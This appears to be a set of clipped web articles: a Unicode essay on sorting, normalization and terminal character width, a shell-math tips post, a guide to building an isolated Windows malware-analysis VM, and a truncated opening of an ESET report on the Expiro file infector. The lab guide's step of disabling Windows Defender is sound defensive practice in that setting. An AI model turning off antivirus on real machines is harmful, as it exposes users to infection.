Perhaps you want to sort text. A common enough problem. Let’s give this a try
in Python. To simplify things, we’ll even stick to English text.

[code]

    1
    2
    3
    4
[/code]

|

[code]

    >>> words = ['cafeteria', 'caffeine', 'café']
    >>> words.sort()
    >>> words
    ['cafeteria', 'caffeine', 'café']
    
[/code]  
---|---  
Oops. Turns out Python’s sorting just compares by Unicode codepoint, so the
English letter “é” \(U+00E9\) is greater than the English letter “f”
\(U+0066\).

Did you know the German letter “ß” is supposed to sort equivalently to “ss”?
Where do you sort the Icelandic letter “æ”? What about the English ligature
“æ”, which is the same character?

What about case? The Turkish dotless “ı” capitalizes to the familiar capital
“I”, but in Turkish, the lowercase of that is “ı” and the uppercase of “i” is
“İ”. Is uppercase “ß” the more traditional “SS”, or maybe “Ss”, or the
somewhat recent addition “ẞ”?

Or, how do you compare equality? Is “ß” equal to “ss”? Is “æ” equal to “ae”?
Is “é” equal to “é”?

Ah, you say\! I’ve heard about this problem and know how to solve it. I can
just throw _Unicode normalization_ at it, which will take care of combining
characters and all that other nonsense. I can even strip out all combining
characters and have nice normal English text left, because for some reason I
am under the impression that English text is “normal” and all else is
“abnormal”.

Sure, let’s give that a try.

[code]

    1
    2
    3
    4
    5
[/code]

|

[code]

    >>> import unicodedata
    >>> normalize = lambda s: ''.join(ch for ch in unicodedata.normalize('NFKD', s) if not unicodedata.combining(ch))
    >>> 
    >>> normalize('Pokémon')
    'Pokemon'
    
[/code]  
---|---  
Great, problem solved.

[code]

    1
    2
    3
    4
    5
    6
[/code]

|

[code]

    >>> normalize('ı')
    'ı'
    >>> normalize('æ')
    'æ'
    >>> normalize('ß')
    'ß'
    
[/code]  
---|---  
Hmm.

[code]

    1
    2
    3
    4
[/code]

|

[code]

    >>> normalize('한글')
    '한글'
    >>> normalize('イーブイ')
    'イーフイ'
    
[/code]  
---|---  
Uh oh.

Yes, it turns out that Unicode decomposition _also_ decomposes Hangul \(the
alphabet used to write Korean\) into its sub-components, which then may or may
not still even render correctly, as well as splitting the diacritics off of
Japanese kana, which significantly alters the pronunciation and meaning.
Almost as if Unicode decomposition was never meant to help programmers
forcibly cram the entire world back into ASCII.

_Even_ if you only care about English text, there’s more than one Latin
alphabet in Unicode\! Is “x” equivalent to “𝗑” or “𝘅” or “𝘹” or “𝙭” or “𝚡” or
“ｘ” or “𝐱”? What about “×” or “х” or “⨯” or “ⅹ”? Ah, sorry, those last four
are actually the multiplication sign, a Cyrillic letter, the symbol for cross
product, and the Roman numberal for ten.

This is a particularly aggravating problem because most programming languages
have facilities for comparing and changing the case of text built in, and most
of them are extremely naïve about it. You can’t even correctly change the case
of English-looking text without knowing what locale it came from — the title-
case of “istanbul” may actually be “İstanbul” depending on language, because
of Turkish’s dotted “i”.

The only library I’m aware of off the top of my head for correctly dealing
with any of these problems is ICU, which is a hulking monstrosity hardly
suited for shipping as part of a programming language. And while their
homepage does list a lot of impressive users, I’ve only encountered it in code
I’ve worked on _once_.

## Combining characters and character width

Typically we think of combining characters as being the floating diacritical
marks that can latch onto the preceding letter, such as using U+0301 COMBINING
ACUTE ACCENT to make “q́”, in case we are direly in need of it for some
reason. There are a few other combining “diacriticals” that aren’t so related
to language; for example, U+20E0 COMBINING ENCLOSING CIRCLE BACKSLASH can
produce “é⃠”, the universal symbol for “my software only supports English, and
also I am not aware that English has diacritics too”. Or perhaps you’d use
U+20E3 COMBINING ENCLOSING KEYCAP to make “é⃣” and indicate that the user
should press their é key.

All of these have an impact on the “length” of a string. You could write
either of those “é” sequences with _three_ codepoints: the letter “e”, the
combining accent, and the combining border. But clearly they each only
contribute one _symbol_ to the final text. This isn’t a particularly difficult
problem; just ignore combining characters when counting, right?

More interesting are the Unicode characters that are _not_ combining
characters, but compose in some way in practice anyway. The flag emoji, for
example, don’t actually exist in Unicode. The Unicode Consortium didn’t want
to be constantly amending a list of national flags as countries popped in and
out of existence, so instead they cheated. They added a set of 26 regional
indicator symbols, one for each letter of the English alphabet, and to encode
a country’s flag you write its two-letter ISO country code with those symbols.
So the Canadian flag, 🇨🇦, is actually the two characters U+1F1E8 REGIONAL
INDICATOR SYMBOL LETTER C and U+1F1E6 REGIONAL INDICATOR SYMBOL LETTER A. But
if you put a bogus combination together, you _probably_ won’t get a flag
glyph; you’ll get stand-ins for the characters instead. \(For example, 🇿🇿.\)
So the “length” of a pair of these characters depends both on the display font
\(which may not support all flags\), _and_ on the current geopolitical state
of the world. How’s that for depending on global mutable state?

But _it gets better\!_ There’s a character called U+200D ZERO WIDTH JOINER,
which is used to combine otherwise distinct characters in some languages \(but
has fairly general semantics\). Apple has made creative use of this character
to compose _emoji_ together. The report on emoji has some examples. So now the
length of some text is completely arbitrary, based on whatever arbitrary
ligatures the font includes.

To be fair, that was already true anyway. You might argue that the length of
text in human terms is not actually all that interesting a quantity, and you’d
be right, but that’s why this section is about character _width_. Because I’m
typing in a terminal right now, and terminals fit all their text in a grid.

Let’s return to the simpler world of _letters_ and revisit that Hangul
example:

[code]

    1
    2
[/code]

|

[code]

    >>> normalize('한글')
    '한글'
    
[/code]  
---|---  
Hangul characters are actually blocks composed of exactly three parts called
Jamo. \(Here’s gritty detail on Hangul, Jamo, and Unicode. It’s a really cool
alphabet.\) Applying Unicode decomposition actually breaks each character down
into its component Jamo, which are then _supposed_ to render exactly the same
as the original. They aren’t marked as combining characters in the Unicode
database, but if you have three of them in a row \(arranged sensibly\), you
should only see one character. The actual decomposition for the text above is
“ㅎㅏㄴ ㄱㅡㄹ”, written with separate characters that don’t combine. There are a
good few languages that work this way — Devanagari \(the script used for Hindi
et al.\) and Bengali rely heavily on character composition, and Hebrew uses it
for rendering vowels.

And yet I ended up with four very different renderings. In this blog post,
with my default monospace font, I see the full sequence of six Jamo. If I
paste the same text somewhere with a proportional font, I see something very
nearly identical to the original characters, albeit slightly fuzzier from
being generated on the fly. In Konsole, I see only the first Jamo for each
character: `'ㅎㄱ'`. And in my usual libvte-based terminal, the combining
behavior falls apart, and I see a nonsensical mess that I can’t even reproduce
with Unicode:

<img src='img/Temp2_1960.png' width='195' height='32' alt='Screenshot of
mangled Hangul in a terminal; several characters overlap' />

I can only guess at what happened here. Clearly both terminals decided that
each set of three Jamo was only one character wide, but for some reason they
didn’t combine. Konsole adamantly refuses to render any Jamo beyond the first,
even if I enter them independently; VTE dutifully renders them all but tries
to constrain them to the grid, leading to overlap.

This is not the first width-related problem I’ve encountered with Unicode and
terminals. Consider emoji, which tend to be square in shape. I might
reasonably want to say to someone on IRC: “happy birthday\! 🎁 hope it’s a good
one.” \(That’s U+1F380 WRAPPED PRESENT, if you didn’t take my advice and
install Symbola.\) But I use a terminal IRC client, and here’s how that
displays, in VTE and Konsole:

<img src='img/Temp2_1962.png' width='295' height='23' alt='Screenshot of the
sentence in VTE; the birthday gift overlaps the following space' />

<img src='img/Temp2_1961.png' width='309' height='24' alt='Screenshot of the
sentence in Konsole; the spacing is correct but the cursor position is wrong'
/>

You can see how VTE has done the same thing as with Hangul: it thinks the
emoji should only take up one character cell, but dutifully renders the entire
thing, allowing the contents to spill out and overlap the following space. You
might think Konsole has gotten this one right, but look carefully — the final
quote is slightly overlapping the cursor. Turns out that Konsole will print
each line of text as regular text, so any character that doesn’t fit the
terminal grid will misalign every single character after it. The cursor \(and
selection\) is always fit to the grid, so if you have several emoji in the
same row, the cursor might appear to be many characters away from its correct
position. There are several bugs open on Konsole about this, dating back many
years, with no response from developers. I actually had to stop using Konsole
because of this sole issue, because I use ⚘ U+2698 FLOWER as my shell prompt,
which misaligned the cursor every time.

All of these problems can be traced back to the same source: a POSIX function
called `wcwidth`, which is intended to return the number of terminal columns
needed to display a given character. It exists in glibc, which sent me on a
bit of a wild goose chase. I originally thought that `wcwidth` must be
reporting that the second and third Jamo characters are zero width, but this
proved not to be the case:

[code]

    1
    2
    3
    4
[/code]

|

[code]

    >>> libc.wcwidth(c_wchar('\u1100'))  # initial Jamo
    2
    >>> libc.wcwidth(c_wchar('\u1161'))  # second Jamo
    1
    
[/code]  
---|---  
Well, it seems Konsole actually implements its own `wcwidth` which appears to
be based on this original implementation. Both versions preserve an innocuous
comment that explains quite a lot:

> Hangul Jamo medial vowels and final consonants \(U+1160-U+11FF\) have a
> column width of 0.
Aha. So Konsole saw that the second and third Jamo took zero space, so it
didn’t bother trying to print them at all.

Then what the hell is VTE doing? It defers to some utility functions in `glib`
\(GNOME’s library of… stuff\), such as `g_unichar_iszerowidth`, which…
explicitly says yes for everything between U+1160 and U+1200. Wouldn’t you
know it, those are the secondary and tertiary Jamo characters. So VTE saw that
they took zero space, so it didn’t make any extra room for them, but still
tried to print them. I expect they didn’t combine in VTE because VTE has no
idea they’re _supposed_ to combine, so it printed each one individually.

Oh, but this madness gets even better. WeeChat, another terminal IRC client,
outright strips emoji, everywhere. This is apparently the fault of… glibc’s
implementation of `wcwidth`, which defaults to 1 for printable characters and
0 otherwise, which requires knowing what the characters _are_ , which oops
doesn’t work so well when glibc was using a vendored copy of the \(pre-emoji\)
Unicode 5.0 database until glibc 2.22, which was released _less than a month
ago_.

Beloved SSH replacement mosh has a similar problem, in this case blamed on the
`wcwidth` implementation shipped with _OS X_. Gosh, I thought Apple was on the
ball with Unicode.

We’re now up to at least four mutually incompatible and differently broken
versions of this same function. Lovely.

I might be on the fringe here, but I’m pretty adamant that having a
communication program silently and invisibly eat parts of your text is a **bad
thing**.

While I’m at it: why are emoji left with a width of 1? They tend to be drawn
to fit a square, just like CJK characters \(which are why we need double-width
character support in the first place\), and they’re even of Japanese origin.
My rendering problems would go away in _both_ terminals if they used widths of
2. Hell, I’m going to go file bugs on both of them right now.

## You will not go to space today

Sometimes you care about whitespace. Perhaps you’re using it to separate
words. In, say, a programming language. Like JavaScript.

[code]

    1
[/code]

|

[code]

    alert(2+ 40);
    
[/code]  
---|---  
JavaScript’s syntax defers the decision of what counts as whitespace to the
Unicode database, which assigns a `WSpace` property to a handful of
codepoints. Seems like a good approach, except for this one unusual exception:
” ” is a space character, U+1680 OGHAM SPACE MARK. Ogham is an alphabet used
in older forms of Irish, and its space character generally renders as a line.
Surprise\!

Complicating this somewhat further, there are actually _two_ definitions of
whitespace in Unicode. Unicode assigns every codepoint a category, and has
three categories for what sounds like whitespace: “Separator, space”;
“Separator, line”; and “Separator, paragraph”.

If you’re familiar with Unicode categories, you might be tempted to use these
to determine what characters are whitespace. Except that CR, LF, tab, and even
vertical tab are all categorized as “Other, control” and not as separators.
You might think that at least LF should count as a line separator, but no; the
only character in the “Separator, line” category is U+2028 LINE SEPARATOR, and
the only character in “Separator, paragraph” is U+2029 PARAGRAPH SEPARATOR. I
have never seen either of them used, ever. Thankfully, all of these have the
`WSpace` property.

As an added wrinkle, the lone oddball character “⠀” renders like a space in
most fonts. But it’s not whitespace, it’s not categorized as a separator, and
it doesn’t have `WSpace`. It’s actually U+2800 BRAILLE PATTERN BLANK, the
Braille character with none of the dots raised. \(I say “most fonts” because
I’ve occasionally seen it rendered as a 2×4 grid of open circles.\) Everything
is a lie.

## JavaScript has no string type

JavaScript’s “String” type \(or “string” type?\) is not actually a string
type. Observe:

[code]

    1
    2
[/code]

|

[code]

    var bomb = "💣";
    console.log(bomb.length);  // 2
    
[/code]  
---|---  
That’s a string containing a single character, U+1F4A3 BOMB. Yet JavaScript
thinks it contains two\! What on earth is going on here? Let’s see what
JavaScript thinks those two characters are, using `charCodeAt`.

[code]

    1
    2
[/code]

|

[code]

    console.log(bomb.charCodeAt(0).toString(16));  // d83d
    console.log(bomb.charCodeAt(1).toString(16));  // dca3
    
[/code]  
---|---  
These aren’t actually characters. Everything from U+D800 through U+DFFF is
permanently reserved as a non-character for the sake of encoding astral plane
characters in UTF-16. The short version is that all BMP characters are two
bytes in UTF-16, and all astral plane characters are two of these non-
characters \(called a surrogate pair\) for a total of four bytes.

JavaScript’s string type is backed by a sequence of unsigned 16-bit integers,
so it can’t hold any codepoint higher than U+FFFF and instead splits them into
surrogate pairs. I argue that a string isn’t a string if it can’t hold a
sequence of arbitrary characters, and JavaScript strings can’t directly
contain astral plane characters, so they don’t qualify.

I rag on JavaScript, but this is an old problem. C strings \(well, `char*`\)
are just sequences of bytes, so you can’t fit more than Latin-1. Some
libraries have historically tried to address this with “wide strings”,
`wchar_t*`, but the size of `wchar_t` is implementation-defined and 16 bits on
Windows, where the entire OS API has the same problem as JavaScript.

Arguably, 16-bit faux strings are _worse_ than 8-bit faux strings. It becomes
pretty obvious pretty quickly that 8 bits is not enough to fit more than some
European alphabets, and anyone but the most sheltered programmer is forced to
deal with it the first time they encounter an em dash. But 16 bits covers the
entire BMP, which contains all current languages, some ancient languages,
dingbats, mathematical symbols, and tons of punctuation. So if you have 16-bit
faux strings, it’s very easy to _think_ you have all of Unicode automatically
handled and then be sorely mistaken. Thankfully, the increasing availability
and popularity of emoji, which are mostly not in the BMP \(but see below\),
makes astral plane support a more practical matter.

This probably all dates back to the original design of Unicode, which assumed
that we’d never possibly need any more than 65,536 different characters and
promised that two bytes would be enough for everyone. Oops.

\(This is the same reason that Chinese hanzi and Japanese kanji are merged
into a single set of codepoints: they’re both _huge_ alphabets and it was the
only way to fit them both into two bytes. This is called Han unification, and
I have seen it _end friendships_ , so I prefer not to discuss it further.\)

One more trivium: MySQL has a `utf8` encoding, and it’s generally regarded as
best practice to use that for all your text columns so you can store Unicode.
But, oops, MySQL arbitrarily limits it to three bytes per character, which
isn’t enough to encode most astral plane characters\! What a great technical
decision and not at all yet another thorn in the unusable sinkhole that is
MySQL. Version 5.5 introduced a `utf8mb4` encoding that fixes this, so have
fun `ALTER`ing some multi-gigabyte tables in production.

## There’s no such thing as emoji

I exaggerate _slightly_.

The word “emoji” is generally used to mean “any character that shows as a
colored picture on my screen”, much like the word “Unicode” is generally used
to mean “any character not on my US QWERTY keyboard”. So what characters
qualify as emoji?

There’s actually no Unicode block called “emoji”. The set of smiley faces is
in a block called Emoticons, and most of the rest are in Miscellaneous Symbols
and Pictographs and Transport and Map Symbols.

The Unicode Consortium has a technical report about emoji, which should be an
immediate hint that this is not a trivial matter. In fact the report defines
two levels of emoji, and look at how arbitrary these definitions are:

> emoji character — A character that is recommended for use as emoji.
> level 1 emoji character — An emoji character that is among those most
> commonly supported as emoji by vendors at present.
> level 2 emoji character — An emoji character that is not a level 1 emoji
> character.
So emoji are defined somewhat arbitrarily, and even based on what’s treated as
an emoji in the wild.

It’s tempting to just say that those few astral plane blocks are emoji, but
you might be surprised at what else qualifies sometimes. There’s also a data
table listing emoji levels, and it classifies as emoji a good handful of
arrows and dingbats and punctuation, even though they’ve been in Unicode for
many years. 🃏 U+1F0CF PLAYING CARD BLACK JOKER is a level 1 emoji, but nothing
else in the entire Playing Cards block qualifies. Similarly, 🀄 U+1F004 MAHJONG
TILE RED DRAGON is the only representative of Mahjong Tiles, and Domino Tiles
aren’t represented at all.

I stress, also, that a colored graphic _is not_ the only way emoji \(however
you define them\) may be rendered. Here’s a screenshot of part of that table
on my desktop:

<img src='img/Temp2_1959.png' width='577' height='144' alt='Screenshot of
emoji rendered as simple outlines' />

That font is Symbola, which only has monochrome vector glyphs. So they’re no
different than any other character.

I’ve been seeing an increasing trend lately of treating emoji as somehow
completely unique. The IM programs WhatsApp and Telegram both use Apple’s
emoji font _on every platform_ , and I’ve seen even technically-inclined
people passionately argue that this is a good state of affairs, because it
means both parties will see exactly the same pixels. Wouldn’t want to confuse
anyone by having them see a slightly different image of a steak\! \(You’d
think that’s what sending images is for, but what do I know.\)

This is somewhat troubling to me. The _entire point_ of having these symbols
exist in Unicode is so they can be transferred between different systems and
treated just like any other text, _because now they’re just text_. They aren’t
special in any way \(besides being in an astral plane, I suppose\), and
there’s no reason you couldn’t construct an emoji font that displayed regular
English characters as graphics. Hell, if you’re using Firefox, here’s a demo
of SVG embedded in an OpenType font that displays the letter “o” as an
animated soccer ball.

## Interesting characters

To wrap this up, here are some obscure characters I’ve had reason to use at
times and think are interesting.

Control Pictures is an entire block of _visual representations_ of control
characters. So if you want to indicate there’s a NUL byte, instead of writing
out “NUL” or “\x00”, you can use ␀ U+2400 SYMBOL FOR NULL. I’ve actually found
it fairly useful once or twice to use ␤ U+2424 SYMBOL FOR NEWLINE to display
multi-line text in a way that fits in a single line\! I like it so much that I
added a compose key shortcut for it: compose, n, l.

Ruby characters are annotations used with Chinese and Japanese text to explain
pronuncuation, like the tiny characters here: 日本語（にほんご）. Usually they’re
expressed with HTML’s `<ruby>` tag, but outside of HTML, what are you to do?
Turns out Unicode actually supports this in the form of three “interlinear
annotation” characters, and you could write the above as
“`[U+FFF9]`日本語`[U+FFFA]`にほんご`[U+FFFB]`“. They tend not to have any rendering
in fonts, since they’re control characters, and Unicode actually recommends
they not be exposed directly to users at all, so there are no rules for how to
actually display them. But if you want to _store_ annotated Chinese or
Japanese text without pretending all text is HTML, there you go.

More well-known are U+200E LEFT-TO-RIGHT MARK and U+200F RIGHT-TO-LEFT MARK,
which are part of the byzantine Unicode bi-directional text system, but among
English speakers are mainly known for being able to reverse text in
unsuspecting websites.

All the way back in humble ASCII, U+000C FORM FEED can be used to encode a
page break in plain text. veekun’s database uses form feeds to mark where the
Pokédex flavor text in Gold, Silver, and Crystal breaks across two pages.

Finally, here are some of my favorite Unicode blocks, good places to look for
interesting squiggles. Especially if, say, you’re making a text-based game.

  * ▸Arrows: ↹ ⇝ ↻ ↯
  * ▸Mathematical Operators: ≈ ∞ ∀ ⊕ ⊠
  * ▸Miscellaneous Technical: ⌘ ⌚ ⌛ ⌨ ⏣ ⏏
  * ▸Box Drawing and Block Elements: ╟─╢ ░ ▒ ▓
  * ▸Geometric Shapes and Geometric Shapes Extended: ◎ 🞋 ◭ ▸ ▢ 🞠 🞴
  * ▸Miscellaneous Symbols, containing:
    * ▸weather symbols: ☀ ☁ ☂ ☃ ☄
    * ▸playing card suits: ♡ ♢ ♤ ♧ ♥ ♦ ♠ ♣
    * ▸planetary and astrological symbols: ☿ ♀ ♁ ♂ ♃ ♄ ♅ ♆ ♇ ♈ ♉ ♊ ♋ ♌ ♍ ♎ ♏ ♐ ♑ ♒ ♓
    * ▸chess pieces: ♔ ♕ ♖ ♗ ♘ ♙ ♚ ♛ ♜ ♝ ♞ ♟
    * ▸dice: ⚀ ⚁ ⚂ ⚃ ⚄ ⚅
    * ▸musical symbols: ♩ ♪ ♫ ♬ ♭ ♮ ♯
    * ▸and other goodness: ⚢ ⚠ ☠ ☢ ☮ ☭ ⚰ ⚘ ⚙ ♲ ⛤ ⛓ ⛏
  * ▸Dingbats: ✭ ❁ ❄ ➤ ➠ ✎
  * ▸Mahjong Tiles: 🀀 🀟 🀩
  * ▸Domino Tiles: 🀳🁃🂃🁐
  * ▸Playing Cards: 🂪 🂫 🂭 🂮 🂡
  * ▸Alchemical Symbols: 🜱 🜲 🜻

Creating this list has made me realize that codepoints.net is not actually a
very nice way to browse by block or copy-paste a lot of characters. There’s
fileformat.info, if you weren’t aware, but it’s kind of barebones and clumsy.
And most Unicode blocks have Wikipedia articles. But overall, everything is
uniquely terrible; welcome to computers.

  * Posted by Eevee in  essay
  * • Sat 12 September 2015
  * •  \#tech \#web \#unicode \#fonts

  

# Command Line Kung Fu: Episode \#25: My Shell Does Math

**Created:**| _5/16/2009 10:29:22 AM_  
---|---  
**Updated:**| _5/16/2009 10:29:26 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#25: My Shell Does Math

Ed says:  
  
On Linux and Unix, I frequently rely on bc to do math at the command line.
But, bc isn't built-in to Windows. A lot of people don't realize that the
cmd.exe shell has some built-in capabilities for doing math... really lame
math. But still, if you are caught in a pinch, don't wanna invoke the calc.exe
GUI, and want to focus on integer math, cmd.exe can do your bidding. It's all
invoked with the "set /a" command, as in:  

[code]

    C:\> **set /a 2+2**  
     4  
    
    
[/code]

Sexy, huh? Well, keep in mind that it is integer math only, as illustrated by:  

[code]

    C:\> **set /a 3/2**  
     1  
    
    
[/code]

That leads to some weirdness, as in:  

[code]

    C:\> **set /a 3/2*2**  
     2  
    
    
[/code]

Also, we're working only with signed 32-bit numbers here, so make sure your
results stay under approximately two billion. Bigger than that will either
push you into negative territory, or outright give you an error message:  

[code]

    C:\>**set /a 1000000000*2**  
     2000000000  
      
    c:\test>**set /a 2000000000*2**  
     -294967296  
      
    c:\test>**set /a 3000000000*2**  
     Invalid number.  Numbers are limited to 32-bits of precision.  
    
    
[/code]

  
We've also got some options for using hex \(specified with 0x as a prefix\):  

[code]

    C:\> **set /a 0xA + 0x2**  
     12  
    
    
[/code]

Or, you can do octal, by prefacing your numbers with a zero:  

[code]

    C:\> **set /a 010 + 01**  
     9  
    
    
[/code]

You can even mix and match:  

[code]

    C:\> **set /a 0xA + 01 + 1**  
     12
    
[/code]

It gets exciting to think that you can do hex or octal math at the cmd.exe
command line, until you realize that all of your outputs are in, well,
decimal. What genius thought up adding hex and octal as input, without
providing options for hex and octal in the output?  
  
Also, we've got bitwise AND with &, bitwise OR with |, and XOR with ^. But,
again, the output is in... ugh... decimal.  
  
Who uses decimal anymore? I mean, when you are driving, those speed limit
signs are all in hex, right? Cruising around at 0x65 mph or 0x100 km/hr can be
very exciting. When pulled over, tell the officer that you thought the speed
limit sign was hexadecimal. Of course, you'll have to say that you assumed
your speedometer is in decimal... kinda like set /a. Inputs in hex, outputs in
decimal. See if that'll get you out of a ticket. Good luck.  
  
Anyway, for really simple integer math of smallish numbers, set /a can come in
handy. I do sometimes use it if I've gotta do a quick integer calculation and
I don't wanna take focus off of my cmd.exe on the screen.  
  
Honestly, given the quite limited abilities for cmd.exe to do math this way,
I'm kind of expecting my command line kung fu sparring partners working in
bash to knock me out with this one. But, in leading with my jaw, I'm hoping in
the process that we'll all learn some completely magical fu from them when
doing math in bash. So, lay it on us, guys. What fu have you?  
  
Mr. Bucket read the draft of this post, and kicked in some interesting fu from
the dawn of time for doing some hex match using built-in Windows command line
tools. I remembered this one, but barely. It was buried in the dark recesses
of my mind... I haven't used this since I bought a really good hex calculator
a long long time ago.  
  
Mr. Bucket suggested running the built-in Windows debugger tool:  

[code]

    C:\> **debug**
    
[/code]

  
Then, at the goofy little "-" prompt, you could type:  

[code]

    - **H 4a44 90**
    
[/code]

The debugger will then print out the sum and difference of the two numbers you
provided:  

[code]

    4AD4  49B4
    
[/code]

So there.... next time you are stranded on a desert island with only a Windows
box and need to do hex addition or subtraction to hack your way off, you'll be
all set. Thanks for the interesting point, Mr. Bucket\!  
  
Paul Says:  
  
On UNIX/Linux systems I've always found that the bc command was available to
me if I need to perform simple math \(or even that "new" math people talk
about\):  
  

[code]

    $ bc  
    bc 1.06  
    Copyright 1991-1994, 1997, 1998, 2000 Free Software Foundation, Inc.  
    This is free software with ABSOLUTELY NO WARRANTY.  
    For details type `warranty'.  
    3/2*2  
    2  
    quit
    
[/code]

  
  
It can even do fancy things like square root:  
  

[code]

    $ bc  
    bc 1.06  
    Copyright 1991-1994, 1997, 1998, 2000 Free Software Foundation, Inc.  
    This is free software with ABSOLUTELY NO WARRANTY.  
    For details type `warranty'.  
    sqrt(3.14)  
    1.77  
    quit
    
[/code]

  
  
Of course Bash itself can do math as well. This is handy in shell scripts.
Below is a command line "one-liner" example:  
  

[code]

    $ let RESULT=2+2 ; echo $RESULT  
    4
    
[/code]

  
  
As long as "2+2" continues to equal 4 the universe stays in balance and life
is good :\) Of course, if you leave out the "let" directive you get very
different results:  
  

[code]

    $ RESULT=2+2 ; echo $RESULT  
    2+2
    
[/code]

  
  
Here "2+2" is being treated as a string, and therefore no math will be
performed. So remember, when using Bash always "Let there be math".  
  
Hal Says:  
  
Ummmm, Paul? How about just:  
  

[code]

    $ **echo $((2+2))**  
     4
    
[/code]

  
Using "$\(\(...\)\)" to put arithmetic expressions in-line is a heck of a lot
easier than that tedious "let ..." nonsense.  
  
By the way, for those of you that aren't using bash or a more modern shell
with built-in arithmetic, there's also the really old-school expr command in
addition to bc:  
  

[code]

    $ **expr 2 + 2**  
     4
    
[/code]

# How to Get and Set Up a Free Windows VM for Malware Analysis

**Created:**| _3/8/2019 12:41:03 PM_  
---|---  
**Updated:**| _3/8/2019 12:41:03 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis Lab-Setup_  
  

  

# How to Get and Set Up a Free Windows VM for Malware Analysis

<img src='img/windows-vm-containers-768x433.png' width='2000' height='1127' />

If you’d like to start experimenting with malware analysis in your own lab,
here’s how to download and set up a free Windows virtual machine:

  * Step 1: Install Virtualization Software
  * Step 2: Get a Windows Virtual Machine
  * Step 3: Update the VM and Install Malware Analysis Tools
  * Step 4: Isolate the Analysis VM and Disable Windows Defender AV
  * Step 5: Analyze Some Malware

## Step 1: Install Virtualization Software

Install virtualization software that you feel comfortable configuring and
troubleshooting. VirtualBox and Hyper-V are good free options. If you want to
set up a headless server for your lab, you’ll probably like VMware vSphere
Hypervisor \(formerly called ESXi\), which is also free.

If using VMware Workstation, you’ll need the commercial version: Workstation
Pro for Windows and Linux or Fusion Pro for macOS. The free versions don’t
support snapshots. You’ll want snapshots when examining malware, so you can
revert the VM’s state to start a new investigation or backtrack an analysis
step. VMware provides a free 30-day trial.

## Step 2: Get a Windows Virtual Machine

If you don’t have a licensed version of Windows for your virtual machine, you
can download a free Windows 10 VM from Microsoft. Go to the Microsoft Edge
page for downloading virtual machines. Select “MSEdge on Win 10 \(x64\)” and
pick the virtualization platform that matches the one you have:

<img src='img/msedge-win10-x64-download-1-768x407.png' width='707'
height='374' />

If using macOS, you might be unable to extract the zip file’s contents unless
you download a file extractor such as The Unarchiver.

After downloading and extracting the archive, follow the steps appropriate for
your virtualization software to start the VM. For example, for VMware you’d
extract the files into a dedicated folder, then launch the file named “MSEdge
– Win10.vmx”.

The Windows OS in this VM expires after 90 days. Microsoft recommends “setting
a snapshot when you first install the virtual machine which you can roll back
to later.”

The password Microsoft assigned to this virtual machine is “Passw0rd\!” You
won’t need it for starting the VM, which will automatically log you in, but
you might need to supply it when configuring the OS or installing software.

## Step 3: Update the VM and Install Malware Analysis Tools

When you first boot the VM, it will be able to connect to the internet,
assuming your physical host has internet access. You can use this connection
to update the OS to the latest patch level and install malware analysis tools.

Next, install malware analysis tools. Here are some of my favorite free
Windows tools for examining malicious software in a lab:

  * Behavioral analysis: Process Monitor, ProcDOT, Process Hacker, Wireshark
  * Code analysis: PeStudio, IDA Freeware, x64dbg, Scylla

You can also automatically install lots of free malware analysis tools using
the FLARE VM distribution:

<img src='img/install-flare-vm-768x238.png' width='707' height='219' />

If you wish, install in the VM utilities such as VirtualBox Guest Additions
and VMware Tools, which come with your virtualization software. They will make
it convenient to share clipboard contents and files between your physical host
and the VM. However, their presence slightly increases the chances that
malware might detect the virtualized environment or manage to escape.

If you won’t be using the file sharing methods supported by your
virtualization software, decide how you’ll transfer files in and out of the
VM. Accessing a USB key from within the VM is a reasonable option. Another one
is SFTP: You can enable the SSH server built into Windows, then access it from
your physical host or from another VM using an SFTP client, such as WinSCP.

## Step 4: Isolate the Analysis VM and Disable Windows Defender AV

Shut down your VM.

Consider disabling shared folders for the virtual machine, to make it harder
for malware to escape. For example, to do that in VMware Workstation Pro, go
to VM > Settings… > Options > Shared Folders and click Disabled.

Change the network settings for the VM so it doesn’t have any network access.
For instance, in VMware Workstation Pro you could put it into Host-Only mode
by going to VM > Settings… > Hardware > Network Adapter and selecting Host-
Only:

<img src='img/vmware-network-host-only-768x313.png' width='707' height='288'
/>

A host-only network makes it possible for the VM to communicate with the
virtual adapter of your physical host. For better isolation, consider defining
a dedicated virtual network just for your virtual machine, then configure the
VM to use that custom network. If you do this, then you won’t be able to use
SFTP to transfer files between the VM and your physical host.

Start your VM, now that it’s no longer connected to the physical network.

Disable Windows Defender Antivirus inside the virtual machine, so the AV
doesn’t interfere with your malware analysis efforts. Use Group Policy to do
this to avoid Windows periodically re-enabling AV. Optionally, use Group
Policy to disable Windows Updates.

Once the VM is configured the way you like it, take a snapshot.

Be careful to avoid infecting the wrong system when analyzing malware and to
minimize the chances that your specimen will escape. Strongly consider
dedicating a physical host to such research; don’t use this system for other
tasks and don’t connect it to a production network.

## Step 5: Analyze Some Malware

You’re ready to analyze some malware\! I created lots of free resources for
people looking to start learning malware analysis, in addition to the Reverse-
Engineering Malware course I teach at SANS Institute:

  * Reverse-Engineering Malware Cheat Sheet
  * Analyzing Malicious Documents Cheat Sheet
  * Tips for Reverse-Engineering Malicious Code
  * Mastering 4 Stages of Malware Analysis
  * Introduction to Malware Analysis Webcast

Happy learning\!

Updated March 4, 2019

### Did you like this?

Follow me for more of the good stuff.

  * Twitter
Twitter

  * RSS
RSS Feed

  * Mailchimp
Newsletter

### About the Author

Lenny Zeltser is a seasoned business and tech leader with extensive
cybersecurity experience. He builds innovative endpoint defense solutions as
VP of Products at Minerva Labs. Beforehand, he was responsible for security
product management at NCR Corp. Lenny also trains incident response and
digital forensics professionals at SANS Institute. An engaging presenter, he
speaks at industry events, writes articles and has co-authored books. Lenny
has earned the prestigious GIAC Security Expert designation, has an MBA from
MIT Sloan and a Computer Science degree from the University of Pennsylvania.

Learn more

### More on

  * Malicious Software
  * Technology

Take a look at the malware analysis course I teach at SANS Institute.

Share

# Versatile & infectious: Win64/Expiro is a cross-platform file infector

**Created:**| _7/30/2013 8:15:54 AM_  
---|---  
**Updated:**| _7/30/2013 10:35:09 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis new?_  
  

# **V** ersatile and infectious: Win64/Expiro is a cross-platform file
infector****

By ESET Research posted 30 Jul 2013 at 07:06AM

Recently, our anti-virus laboratory discovered an interesting new modification
of a file virus known as Expiro which targets 64-bit files for infection**.**
File-infecting viruses are well known and have been studied comprehensively
over the years, but malicious code of this type almost invariably aimed to
modify 32-bit files**.** One such family of file viruses, called Expiro
